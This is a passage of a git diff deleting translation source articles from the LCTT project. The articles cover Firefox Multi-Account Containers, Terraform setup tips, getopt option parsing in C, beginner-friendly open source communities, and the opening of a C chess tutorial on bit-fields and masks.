used a certain website. - -What other advantage does it have? Imagine you were shopping on Amazon or some other e-commerce. You browsed a few items but did not buy anything. Now if you browse the web, you’ll see ads related to products you browsed. Some websites show ads despite ad-blockers. With containers, you can separate your shopping websites with other websites. - -Let me share another example with you. Firefox provides a Facebook container by default. This container includes Facebook, Messenger and Instagram websites by default. This means when you open any of these three websites, they are opened in ‘Facebook container’. Thus, Facebook won’t be able to track your activity on other websites. - -This is one of the [Firefox features that not many people know or use][2]. - -### Using Multi-Account Containers - -Installing Firefox Multi-Account containers is an extremely simple process, and only takes a few clicks. - -First, head over to the [extension’s page][3] on the Firefox Add-ons website. The only thing you need to do after that is click the `Add to Firefox` button. - -![][4] - -And you’re done! Now we can get straight into actually using the new extension. - -If you didn’t notice already, there should now be a new icon to the right of your search bar: - -![][5] - -This is the icon that you’ll use to interact with Firefox Multi-Account containers. If you then click the icon, you’ll be greeted with a little menu: - -![][6] - -With that, let’s try some examples out so we can see how Multi-Account Containers actually works. - -#### Setting up the container - -First off, we need to make a container. We can do this by going to `Manage Containers -> New Container` in the Multi-Account Containers menu. - -![][7] - -![][8] - -Next, enter the name for the new container, and select a color and icon. Then, hit `OK` to save the new container. - -![][9] - -And that’s it! We can now go back to the main menu to open a new tab inside the new container: - -![][10] - -You will also notice that the new tab has some styling to denote that it’s running inside of a container: - -![][11] - -#### Watching the container work in action - -Let’s now look at what the container actually does when you use it. - -We’re going to go to the Linode manager website in a normal browser tab, where I’m currently signed in: - -![][12] - -Let’s now try opening the same page inside our Firefox container, at which point I’m redirected to the Linode login screen: - -![][13] - -Why was I redirected? Because now I am not logged in. That’s one of the joys of Firefox containers: be able to be signed in inside of one browser session, and then enter a container, and it’s like you’ve never visited the site before. - -If you were to sign in to a website within the container however, you would stay signed in while vising websites from the container. You could also use this feature to sign in to a website from inside the container, thus keeping all the data from that site away from your normal browser data. - -Note - -Things like your browser history itself will still be exposed to your normal browser session. The container feature simply provides a way to separate things like signed-in accounts as mentioned in this article. - -### Wrapping Up - -Mutli-Account Containers prove to be a wonderful feature for those who are conscious about their privacy, or just want to really try to get stringent on the security of their systems. - -For example, you could sign in to your Google account inside of a container, and Google would never know who you whenever you aren’t inside the container. - -And then lastly, this extension is just a great choice for people who want to sign into to multiple accounts at once, without resorting to making separate browser accounts for each thing you want to use. - -And there you go, that’s the premise of Firefox’s Multi-Account Containers. - -Need any help getting everything going, or just got a general question? Feel free to leave any of it in the comments below. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/firefox-containers/ - -作者:[Hunter Wittenborn][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/hunter/ -[b]: https://github.com/lujun9972 -[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/08/Firefox-container.png?resize=800%2C450&ssl=1 -[2]: https://itsfoss.com/firefox-useful-features/ -[3]: https://addons.mozilla.org/en-US/firefox/addon/multi-account-containers/?utm_source=addons.mozilla.org&utm_medium=referral&utm_content=search -[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-install-page.png?resize=800%2C366&ssl=1 -[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-searchbar-icon-1.png?resize=800%2C48&ssl=1 -[6]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-main-menu.png?resize=302%2C474&ssl=1 -[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-manage-containers-1.png?resize=291%2C402&ssl=1 -[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-new-container.png?resize=290%2C399&ssl=1 -[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-new-container-itsfoss.png?resize=292%2C401&ssl=1 -[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-opening-new-container.png?resize=290%2C398&ssl=1 -[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-new-container-styling.png?resize=800%2C370&ssl=1 -[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-linode.png?resize=800%2C114&ssl=1 -[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-linode-login.png?resize=800%2C405&ssl=1 diff --git a/sources/tech/20210811 My top 5 tips for setting up Terraform.md b/sources/tech/20210811 My top 5 tips for setting up Terraform.md deleted file mode 100644 index 143727fb09..0000000000 --- a/sources/tech/20210811 My top 5 tips for setting up Terraform.md +++ /dev/null @@ -1,75 +0,0 @@ -[#]: subject: "My top 5 tips for setting up Terraform" -[#]: via: "https://opensource.com/article/21/8/terraform-tips" -[#]: author: "Ayush Sharma https://opensource.com/users/ayushsharma" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -My top 5 tips for setting up Terraform -====== -These are the lessons I've learned after five years with Terraform. -![Puzzle pieces coming together to form a computer screen][1] - -Working with Terraform for over five years has taught me some key lessons. Five practices have been critical to having a logical and usable Terraform setup regardless of the size of the team or the nature of the project. - -### 1\. Know your target audience. - -This one might seem obvious, but I've seen it go wrong several times. When organizing Terraform code, either standardizing the directory structure or defining naming conventions, it's vital to consider the intended audience. Will your team be using these Terraform scripts and modules? Are you handing the work over to another team? Will new people be joining your team sooner or later? Are you working on this project solo? Will you be using this setup in six months or a year, or will it be assigned to someone else? - -Questions like these affect several decisions. Ideally, you should have [Remote State][2] and [State Locking][3] in place regardless of the team size now or in the future. Remote State will ensure your laptop is not the only place your Terraform works, and State Locking will ensure that only one person at a time is changing the infrastructure. - -The naming convention should make sense to the eventual owners of the project, not just the team that is writing the code. If the project is for another team, make sure they have a say in the naming convention. If non-technical stakeholders or internal security/GCR teams review the code, make sure they check the naming convention. In addition to resource names, you should leverage resource tags to highlight any data classification/privacy requirements (high, medium, low) for more careful examination by reviewers. - -### 2\. Reuse. Reuse. Reuse. - -The [Terraform Registry][4] provides a library of ready-to-use modules for the most common use-cases. I've written about the extensive parameterization available in the VPC module and security groups. Simply calling modules with different parameters is enough to handle most, if not all, potential use cases. Reuse these shared modules as much as possible to avoid endless typing, testing, checking, fixing, and refactoring. - -I've also found that separating modules and resources based on the frequency of use or change is beneficial. For example, infrastructure scaffolding used only once belongs together, such as setting up the VPC, security groups, routing tables, VPC endpoints, and so on. But things like private hosted zone entries, autoscaling groups, target groups, load balancers, etc., might change with every deployment, so separating these from the one-time scaffolding will make code reviews easier and debugging faster. - -### 3\. Be explicit rather than implicit. - -There are common patterns to Terraform code that I have seen lead to incorrect assumptions baked into the design. Teams can assume that the Terraform version used to write the code today will never change, or the external modules won't change, or the providers they are using won't change. These lead to invisible issues a few weeks down the road when these external dependencies inevitably get updated. - -Ensure you explicitly define versions everywhere possible: In the main Terraform block, in the provider block, in the module block, etc. Defining versions ensures that your dependent libraries stay frozen so that you can explicitly update dependencies when required after thorough discussions, reviews, and testing. - -### 4\. Automate everywhere. Your laptop. Your shared VM. Your CI/CD. - -Leveraging automation at every stage of the deployment process can avoid future problems before they even arise. - -Use [Git pre-commit hooks][5] to run `terraform fmt` and `terraform validate` before you commit your code. Pre-commit hooks ensure that code is, at a bare minimum, adequately formatted and syntactically correct. Check-in this pre-commit file to the repo, and everyone on your team can benefit from the same automation. This small but vital quality control at the first step of the process can achieve substantial time savings as your project progresses. - -All modern deployment tools have CI processes. You can use these to run SAST and unit testing tools when pushing your code to origin. I've written on my blog about how [Checkov can test Terraform code for security and compliance and create custom checks][6] for organization-specific conventions. Add these unit testing tools to your CI pipeline to improve code quality and robustness. - -### 5\. Have an awesome README.md. - -We all like to think that Terraform code is self-documenting. Sure it is, but only if your future team already knows your company's naming conventions and guidelines and secret handshakes and inside jokes and whatever else your repo contains besides valid Terraform code. Getting into the habit of having a good `README.md` can be a huge time saver, and it keeps your team honest by holding them accountable for everything explicitly committed to in the README. - -At a minimum, your README should contain the steps to initialize the right Terraform environment on your workstations (Linux, Windows, Mac, and so on), including the Terraform version to install. It should specify the required dependencies (Checkov, TerraGrunt, and others) with versions and any handy Linux aliases your team uses (some people like to define `tff` as a short-hand for `terraform fmt`). Most importantly, the branching and PR review strategy and process, naming conventions, and resource tagging standards should be specified. - -The README should pass a simple test: if a new member joins your team tomorrow, is the README enough to teach them what to do and how to do it correctly? If not, you may find yourself hosting never-ending standards and process meetings repeatedly for the next few months. - -### Wrap up - -After many years of working with Terraform, these are my five best bits of wisdom to pass along. Feel free to share your own best practices below. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/8/terraform-tips - -作者:[Ayush Sharma][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ayushsharma -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/puzzle_computer_solve_fix_tool.png?itok=U0pH1uwj (Puzzle pieces coming together to form a computer screen) -[2]: https://www.terraform.io/docs/language/state/index.html -[3]: https://www.terraform.io/docs/language/state/locking.html -[4]: https://registry.terraform.io/ -[5]: https://opensource.com/life/16/8/how-construct-your-own-git-server-part-6 -[6]: https://notes.ayushsharma.in/2021/07/cloud-infrastructure-sast-terraform-checkov diff --git a/sources/tech/20210819 Short option parsing using getopt in C.md b/sources/tech/20210819 Short option parsing using getopt in C.md deleted file mode 100644 index de08ce0f53..0000000000 --- a/sources/tech/20210819 Short option parsing using getopt in C.md +++ /dev/null @@ -1,285 +0,0 @@ -[#]: subject: "Short option parsing using getopt in C" -[#]: via: "https://opensource.com/article/21/8/short-option-parsing-c" -[#]: author: "Jim Hall https://opensource.com/users/jim-hall" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Short option parsing using getopt in C -====== -Use the command line to make your programs more flexible by allowing -users to tell them what to do. -![Person programming on a laptop on a building][1] - -Writing a C program to process files is easy when you already know what files you'll operate on and what actions to take. If you "hard code" the filename into your program, or if your program is coded to do things only one way, then your program will always know what to do. - -But you can make your program much more flexible if it can respond to the user every time the program runs. Let your user tell your program what files to use or how to do things differently. And for that, you need to read the command line. - -### Reading the command line - -When you write a program in C, you might start with the declaration: - - -``` -`int main()` -``` - -That's the simplest way to start a C program. But if you add these standard parameters in the parentheses, your program can read the options given to it on the command line: - - -``` -`int main(int argc, char **argv)` -``` - -The `argc` variable is the argument count or the number of arguments on the command line. This will always be a number that's at least one. - -The `argv` variable is a double pointer, an array of strings, that contains the arguments from the command line. The first entry in the array, `*argv[0]`, is always the name of the program. The other elements of the `**argv` array contain the rest of the command-line arguments. - -I'll write a simple program to echo back the options given to it on the command line. This is similar to the Linux `echo` command, except it also prints the name of the program. It also prints each command-line option on its own line using the `puts` function: - - -``` -#include <stdio.h> - -int -main(int argc, char **argv) -{ -  int i; - -  [printf][2]("argc=%d\n", argc); /* debugging */ - -  for (i = 0; i < argc; i++) { -    [puts][3](argv[i]); -  } - -  return 0; -} -``` - -Compile this program and run it with some command-line options, and you'll see your command line printed back to you, each item on its own line: - - -``` -$ ./echo this program can read the command line -argc=8 -./echo -this -program -can -read -the -command -line -``` - -This command line sets the program's `argc` to `8`, and the `**argv` array contains eight entries: the name of the program, plus the seven words the user entered. And as always in C programs, the array starts at zero, so the elements are numbered 0, 1, 2, 3, 4, 5, 6, 7. That's why you can process the command line with the `for` loop using the comparison `i < argc`. - -You can use this to write your own versions of the Linux `cat` or `cp` commands. The `cat` command's basic functionality displays the contents of one or more files. Here's a simple version of `cat` that reads the filenames from the command line: - - -``` -#include <stdio.h> - -void -copyfile(FILE *in, FILE *out) -{ -  int ch; - -  while ((ch = [fgetc][4](in)) != EOF) { -    [fputc][5](ch, out); -  } -} - -int -main(int argc, char **argv) -{ -  int i; -  FILE *fileptr; - -  for (i = 1; i < argc; i++) { -    fileptr = [fopen][6](argv[i], "r"); - -    if (fileptr != NULL) { -      copyfile(fileptr, stdout); -      [fclose][7](fileptr); -    } -  } - -  return 0; -} -``` - -This simple version of `cat` reads a list of filenames from the command line and displays the contents of each file to the standard output, one character at a time. For example, if I have one file called `hello.txt` that contains a few lines of text, I can display its contents with my own `cat` command: - - -``` -$ ./cat hello.txt -Hi there! -This is a sample text file. -``` - -Using this sample program as a starting point, you can write your own versions of other Linux commands, such as the `cp` program, by reading only two filenames: one file to read from and another file to write the copy. - -### Reading command-line options - -Reading filenames and other text from the command line is great, but what if you want your program to change its behavior based on the _options_ the user gives it? For example, the Linux `cat` command supports several command-line options, including: - - * `-b` Put line numbers next to non-blank lines - * `-E` Show the ends of lines as `$` - * `-n` ` `Put line numbers next to all lines - * `-s` Suppress printing repeated blank lines - * `-T` Show tabs as `^I` - * `-v` ` `Verbose; show non-printing characters using `^x` and `M-x` notation, except for new lines and tabs - - - -These _single-letter_ options are called _short options_, and they always start with a single hyphen character. You usually see these short options written separately, such as `cat -E -n`, but you can also combine the short options into a single _option string_ such as `cat -En`. - -Fortunately, there's an easy way to read these from the command line. All Linux and Unix systems include a special C library called `getopt`, defined in the `unistd.h` header file. You can use `getopt` in your program to read these short options. - -Unlike other Unix systems, `getopt` on Linux will always ensure your short options appear at the front of your command line. For example, say a user types `cat -E file -n`. The `-E` option is upfront, but the `-n` option is after the filename. But if you use Linux `getopt`, your program will always behave as though the user types `cat -E -n file`. That makes processing a breeze because `getopt` can parse the short options, leaving you a list of filenames on the command line that your program can read using the `**argv` array. - -You use `getopt` like this: - - -``` -       #include <unistd.h> - -       int getopt(int argc, char **argv, char *optstring); -``` - -The option string `optstring` contains a list of the valid option characters. If your program only allows the `-E` and `-n` options, you use "`En"` as your option string. - -You usually use `getopt` in a loop to parse the command line for options. At each `getopt` call, the function returns the next short option it finds on the command line or the value `'?'` for any unrecognized short options. When `getopt` can't find any more short options, it returns `-1` and sets the global variable `optind` to the next element in `**argv` after all the short options. - -Let's look at a simple example. This demo program isn't a full replacement of `cat` with all the options, but it can parse its command line. Every time it finds a valid command-line option, it prints a short message to indicate it was found. In your own programs, you might instead set a variable or take some other action that responds to that command-line option: - - -``` -#include <stdio.h> -#include <unistd.h> - -int -main(int argc, char **argv) -{ -  int i; -  int option; - -  /* parse short options */ - -  while ((option = getopt(argc, argv, "bEnsTv")) != -1) { -    switch (option) { -    case 'b': -      [puts][3]("Put line numbers next to non-blank lines"); -      break; -    case 'E': -      [puts][3]("Show the ends of lines as $"); -      break; -    case 'n': -      [puts][3]("Put line numbers next to all lines"); -      break; -    case 's': -      [puts][3]("Suppress printing repeated blank lines"); -      break; -    case 'T': -      [puts][3]("Show tabs as ^I"); -      break; -    case 'v': -      [puts][3]("Verbose"); -      break; -    default:                          /* '?' */ -      [puts][3]("What's that??"); -    } -  } - -  /* print the rest of the command line */ - -  [puts][3]("------------------------------"); - -  for (i = optind; i < argc; i++) { -    [puts][3](argv[i]); -  } - -  return 0; -} -``` - -If you compile this program as `args`, you can try out different command lines to see how they parse the short options and always leave you with the rest of the command line. In the simplest case, with all the options up front, you get this: - - -``` -$ ./args -b -T file1 file2 -Put line numbers next to non-blank lines -Show tabs as ^I -\------------------------------ -file1 -file2 -``` - -Now try the same command line but combine the two short options into a single option string: - - -``` -$ ./args -bT file1 file2 -Put line numbers next to non-blank lines -Show tabs as ^I -\------------------------------ -file1 -file2 -``` - -If necessary, `getopt` can "reorder" the command line to deal with short options that are out of order: - - -``` -$ ./args -E file1 file2 -T -Show the ends of lines as $ -Show tabs as ^I -\------------------------------ -file1 -file2 -``` - -If your user gives an incorrect short option, `getopt` prints a message: - - -``` -$ ./args -s -an file1 file2 -Suppress printing repeated blank lines -./args: invalid option -- 'a' -What's that?? -Put line numbers next to all lines -\------------------------------ -file1 -file2 -``` - -### Download the cheat sheet - -`getopt` can do lots more than what I've shown. For example, short options can take their own options, such as `-s string` or `-f file`. You can also tell `getopt` to not display error messages when it finds unrecognized options. Read the `getopt(3)` manual page using `man 3 getopt` to learn more about what `getopt` can do for you. - -If you're looking for gentle reminders on the syntax and structure of `getopt()` and `getopt_long()`, [download my getopt cheat sheet][8]. One page demonstrates short options, and the other side demonstrates long options with minimum viable code and a listing of the global variables you need to know. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/8/short-option-parsing-c - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_code_programming_laptop.jpg?itok=ormv35tV (Person programming on a laptop on a building) -[2]: http://www.opengroup.org/onlinepubs/009695399/functions/printf.html -[3]: http://www.opengroup.org/onlinepubs/009695399/functions/puts.html -[4]: http://www.opengroup.org/onlinepubs/009695399/functions/fgetc.html -[5]: http://www.opengroup.org/onlinepubs/009695399/functions/fputc.html -[6]: http://www.opengroup.org/onlinepubs/009695399/functions/fopen.html -[7]: http://www.opengroup.org/onlinepubs/009695399/functions/fclose.html -[8]: https://opensource.com/downloads/c-getopt-cheat-sheet diff --git a/sources/tech/20210820 3 steps for managing a beginner-friendly open source community.md b/sources/tech/20210820 3 steps for managing a beginner-friendly open source community.md deleted file mode 100644 index ce3df9c7d3..0000000000 --- a/sources/tech/20210820 3 steps for managing a beginner-friendly open source community.md +++ /dev/null @@ -1,143 +0,0 @@ -[#]: subject: "3 steps for managing a beginner-friendly open source community" -[#]: via: "https://opensource.com/article/21/8/beginner-open-source-community" -[#]: author: "Isabel Costa https://opensource.com/users/isabelcmdcosta" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -3 steps for managing a beginner-friendly open source community -====== -As a member of an open source project, there's a lot you can do to help -beginners find a way to contribute.  -![Working from home at a laptop][1] - -When someone is new to contributing to open source, the best place to start is often beginner-friendly bugs and issues. But before they can do that, they have to be able to find those kinds of issues. As a member of an open source project, there's a lot you can do to help beginners find a way to contribute.  - -Bearing this in mind, the [AnitaB.org open source community][2] prioritizes making our community beginner-friendly. We have initiatives to ensure that we're inclusive for contributors at different levels of experience and for different types of contributions that don't only relate to coding. - -I recently presented some of the community work we do at the [AnitaB.org][3] community at [Upstream 2021][4], the Tidelift event, which kicked off Maintainer Week, a weeklong celebration of open source maintainers. I discussed how there are three main parts to our strategy: - - * How we communicate - * Projects and issues - * Open source programs - - - -### How we communicate - -Transparency is such an essential part of open source, and we apply transparency principles to our approach to communication. In practical terms, this means that all our community sessions are run openly, affect how we've set up Zulip chat and how we provide documentation. - -#### **Open sessions** - -Anyone can join our sessions and discuss topics related to our community. They can participate in discussions or just listen. These are available for everyone to see in our community calendar. We usually only use audio in these calls, which we've found can make people feel more comfortable participating. - -We host project-focused sessions and a couple of category-related sessions, where people from different areas can discuss the same project and help improve our processes. Occasionally, we have "Ask Me Anything" sessions, where anyone can come and ask questions about anything related to open source. - -We take notes of all sessions in a shared document and share the summary and a document link in [our Zulip][5]. - -#### **Our Zulip chat** - -The open source Zulip chat platform is our primary community communication channel, although we also use the comments section on issues and pull requests on Github. In general, we have disabled private messaging to make sure we are as transparent as possible. We have only a few exceptions to this rule, where we have private streams for admins dealing with the logistics of the programs we run. We've found this approach is more welcoming, and it also enables us to have more visibility into conduct violations in the public chat. - -We share all session summaries on the Zulip chat, including the main points discussed, action items, and documentation. This process might sound like an obvious requirement, but I've been surprised at how many open source projects don't provide notes so that people who did not attend can remain informed. - -On Zulip, we discuss project roadmaps, answer questions and queries from the community, and actively **promote ways for people to contribute and where they can contribute. **Sometimes we celebrate contributors' wins—whether it's to highlight the first PR they have tested, reviewed, or the excellent work our volunteers do. - -#### **Documentation** - -We try to keep **open documentation about our processes**, such as FAQs, so those community members can learn at their own pace and in their own time about the community. This is intended to give them an idea of how we work and what type of work we do before reaching out to us. - -### Projects and issues - -Regarding our projects and issues management, we encourage multiple ways to contribute, create specific issues for first-timers only, and try to have an easy setup for projects. - -#### **Multiple ways to contribute** - -We make an effort to create **issues that require different contributions** such as documentation, testing, design, and outreach. This is to provide ways for anyone to contribute regardless of their experience level and area of interest. It helps the community get involved, and we've found that it enables members to work their way up and contribute to some low-effort but valuable tasks. - -Types of contributions we promote are: - - * Coding tasks that range in complexity. - * Quality assurance tasks—where contributors can test our apps or pull requests and report bugs. - * Design sessions where members can participate in discussions. Also, opportunities to create mock-ups and redesign parts of our apps, and explore user experience improvements. - * Outreach tasks, we primarily promote on Zulip, where we suggest blogging to our Medium publication about their open source experiences and their contributions. - * Documentation tasks that can include general community documentation or our project's documentation on Docusaurus. - - - -#### **First-timers only issues** - -We label some **issues as "first-timers only."** These are for people who have not contributed yet to the issue's repository. Labeling issues also enable us to have work for people beginning their open source journey during times of contributor influx, for example, during [Google Summer of Code (GSoC)][6]. - -Sometimes these might be "low-hanging fruit" that can get them acquainted with the process of contributing and submitting pull requests. - -#### **Easy project setup** - -We also care about having a **beginner-friendly setup **for our projects. We notice that the most active project is generally the easiest to set up. We know that contributing to a project you aren't familiar with can take a lot of effort and make or break the experience of contributing. - -We try to provide instructions on how to run our projects on multiple operating systems. In the past, we had some projects with separate instructions to run on Unix environments, and we noticed contributors having difficulties running these projects on Windows. We've improved since then to avoid confusion among contributors who would ask for help on our Zulip. - -We have been improving the README for one of our most active projects, [mentorship-backend][7], according to contributors' experience. One of the struggles for beginners in this project was setting part of the environment variables related to configuring an email account to enable the backend functionality to send emails. However, because this feature was not critical for local development, by default, we made the email setup optional so that emails, instead of being sent to users, were printed to the terminal. This approach still made the emails visible to the contributor. Similar to this change, we made [the SQLite database][8] the default for local development to avoid additional setup for the Postgres database, even though we use this in our deployed version. - -We have noticed that some contributors have struggled to contribute to one of our projects, [bridge-in-tech-backend][9], where its setup is complicated and includes many more steps than [mentorship-backend][7]. Since we noticed this in one of our open source programs, we have been exploring improving its structure. - -For most of our projects, we also provide a live or bundled version of the apps so that contributors can test the project without setting it up. This helps us provide a way for contributors who are not interested or familiar with the development setup to try the most recent version of our apps and contribute by reporting any bugs found. We have the links to these apps deployed on our [Quality Assurance guide][10]. - -### Open source programs - -We organize two main programs in our community: Open Source Hack (a one-month program) and Open Source Ambassadors (a six-month program). - -#### **Open Source Hack (OSH)** - -In this program, we create issues in multiple categories of contributions—Documentation, Coding, Outreach, Testing, and Design (similar to the [Google Code-in][11] contest). Participants can contribute and receive digital certificates for contributing at least once to each category. One issue may include multiple categories, and the pull requests don't need to be merged for their contributions to be valid. - -We select a few projects for this program, then mentors brainstorm and create issues for participants. When the program starts, participants can claim issues and begin contributing. Mentors support and review their contributions. - -This approach encourages diversity of contributions and welcomes anyone, regardless of their coding ability, to contribute in a friendly and fail-safe environment. - -#### **Open Source Ambassadors** - -In this program, we select ambassadors from the community that ideally will cover each category of contributions we aim to promote. We've run this program twice so far. - -The program aims to have members grow in helping manage projects and initiatives by responding to questions from the community, assisting contributors to get involved, and advocating for their assigned category. - -In the first program we ran, we accepted anyone who applied. We assessed where members' interests lay and provided a structure for people who wanted to contribute but were initially uncomfortable with taking that step. - -This edition was very enlightening for us as a community. It required a lot of management from admins, as we had a mix of experienced and inexperienced open source contributors and community members. Some ambassadors were confident in stepping up and leading initiatives, while others needed more support. For our second program, we decided to scale down the initiative. We only accepted contributors who were already familiar with the community and could lead on initiatives and projects and help us train the less experienced. - -The second program became a positive feedback loop. Ambassadors who started as beginners, contributing to the first program we ran, became comfortable leading after learning from their experience with the program. - -This change of approach enabled admins to focus more on supporting the ambassadors' team, helping them propagate our mission and continue making the community beginner-friendly, and mentoring more people to contribute. - -### Summary - -These programs have helped us bring awareness to different ways to contribute and give back to open source. Through these, we've found volunteers helping by managing projects and hosting open sessions, which contributes to managing the community and providing mentorship to our contributors. - -Even though we have had a good response from contributors and helped people make their first contributions, we still have a lot of room for improvement. We will continue to enhance our project's setup and contribution guidelines to improve contributors' experience. We'll also continue to focus on making sure we always have and promote available issues across the organization and in different categories to promote an inclusive environment so that anyone who wishes to can contribute. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/8/beginner-open-source-community - -作者:[Isabel Costa][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/isabelcmdcosta -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/wfh_work_home_laptop_work.png?itok=VFwToeMy (Working from home at a laptop) -[2]: https://github.com/anitab-org -[3]: https://anitab.org/ -[4]: https://youtu.be/l8r50jCr-Yo -[5]: https://anitab-org.zulipchat.com/ -[6]: https://summerofcode.withgoogle.com/ -[7]: https://github.com/anitab-org/mentorship-backend#readme -[8]: https://opensource.com/article/21/2/sqlite3-cheat-sheet -[9]: https://github.com/anitab-org/bridge-in-tech-backend -[10]: https://github.com/anitab-org/documentation/blob/master/quality-assurance.md -[11]: https://codein.withgoogle.com/ diff --git a/sources/tech/20210823 Write a chess game using bit-fields and masks.md b/sources/tech/20210823 Write a chess game using bit-fields and masks.md deleted file mode 100644 index 0b0ee7c631..0000000000 --- a/sources/tech/20210823 Write a chess game using bit-fields and masks.md +++ /dev/null @@ -1,166 +0,0 @@ -[#]: subject: "Write a chess game using bit-fields and masks" -[#]: via: "https://opensource.com/article/21/8/binary-bit-fields-masks" -[#]: author: "Jim Hall https://opensource.com/users/jim-hall" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Write a chess game using bit-fields and masks -====== -Using bit-fields and masks is a common method to combine data without -using structures. -![Chess pieces on a chess board][1] - -Let's say you were writing a chess game in C. One way to track the pieces on the board is by defining a structure that defines each possible piece on the board, and its color, so every square contains an element from that structure. For example, you might have a structure that looks like this: - - -``` -struct chess_pc { -   int piece; -   int is_black; -} -``` - -With this programming structure, your program will know what piece is in every square and its color. You can quickly identify if the piece is a pawn, rook, knight, bishop, queen, or king—and if the piece is black or white. But there's a more straightforward way to track the same information while using less data and memory. Rather than storing a structure of two `int` values for every square on a chessboard, we can store a single `int` value and use binary _bit-fields_ and _masks_ to identify the pieces and color in each square. - -### Bits and binary - -When using bit-fields to represent data, it helps to think like a computer. Let's start by listing the possible chess pieces and assigning a number to each. I'll help us along to the next step by representing the number in its binary form, the way the computer would track it. Remember that binary numbers are made up of _bits_, which are either zero or one. - - * `00000000:` empty (0) - * `00000001:` pawn (1) - * `00000010:` rook (2) - * `00000011:` knight (3) - * `00000100:` bishop (4) - * `00000101:` queen (5) - * `00000110:` king (6) - - - -To list all pieces on a chessboard, we only need the three bits that represent (from right to left) the values 1, 2, and 4. For example, the number 6 is binary `110`. All of the other bits in the binary representation of 6 are zeroes. - -And with a bit of cleverness, we can use one of those extra always-zero bits to track if a piece is black or white. We can use the number 8 (binary `00001000`) to indicate if a piece is black. If this bit is 1, it's black; if it's 0, it's white. That's called a _bit-field_, which we can pull out later using a binary _mask_. - -### Storing data with bit-fields - -To write a chess program using bit-fields and masks, we might start with these definitions: - - -``` -/* game pieces */ - -#define EMPTY 0 -#define PAWN 1 -#define ROOK 2 -#define KNIGHT 3 -#define BISHOP 4 -#define QUEEN 5 -#define KING 6 - -/* piece color (bit-field) */ - -#define BLACK 8 -#define WHITE 0 - -/* piece only (mask) */ - -#define PIECE 7 -``` - -When you assign a value to a square, such as when initializing the chessboard, you can assign a single `int` value to track both the piece and its color. For example, to store a black rook in position 0,0 of an array, you would use this code: - - -``` -  int board[8][8]; - -.. - -  board[0][0] = BLACK | ROOK; -``` - -The `|` is a binary OR, which means the computer will combine the bits from two numbers. For every bit position, if that bit from _either_ number is 1, the result for that bit position is also 1. Binary OR of the value `BLACK` (8, or binary `00001000`) and the value `ROOK` (2, or binary `00000010`) is binary `00001010`, or 10: - - -``` -    00001000 = 8 - OR 00000010 = 2 -    ________ -    00001010 = 10 -``` - -Similarly, to store a white pawn in position 6,0 of the array, you could use this: - - -``` -`  board[6][0] = WHITE | PAWN;` -``` - -This stores the value 1 because the binary OR of `WHITE` (0) and `PAWN` (1) is just 1: - - -``` -    00000000 = 0 - OR 00000001 = 1 -    ________ -    00000001 = 1 -``` - -### Getting data out with masks - -During the chess game, the program will need to know what piece is in a square and its color. We can separate the piece using a binary mask. - -For example, the program might need to know the contents of a specific square on the board during the chess game, such as the array element at `board[5][3]`. What piece is there, and is it black or white? To identify the chess piece, combine the element's value with the `PIECE` mask using the binary AND: - - -``` -  int board[8][8]; -  int piece; - -.. - -  piece = board[5][3] & PIECE; -``` - -The binary AND operator (`&`) combines two binary values so that for any bit position, if that bit in _both_ numbers is 1, then the result is also 1. For example, if the value of `board[5][3]` is 11 (binary `00001011`), then the binary AND of 11 and the mask PIECE (7, or binary `00000111`) is binary `00000011`, or 3. This is a knight, which also has the value 3. - - -``` -    00001011 = 11 -AND 00000111 = 7 -    ________ -    00000011 = 3 -``` - -Separating the piece's color is a simple matter of using binary AND with the value and the `BLACK` bit-field. For example, you might write this as a function called `is_black` to determine if a piece is either black or white: - - -``` -int -is_black(int piece) -{ -  return (piece & BLACK); -} -``` - -This works because the value `BLACK` is 8, or 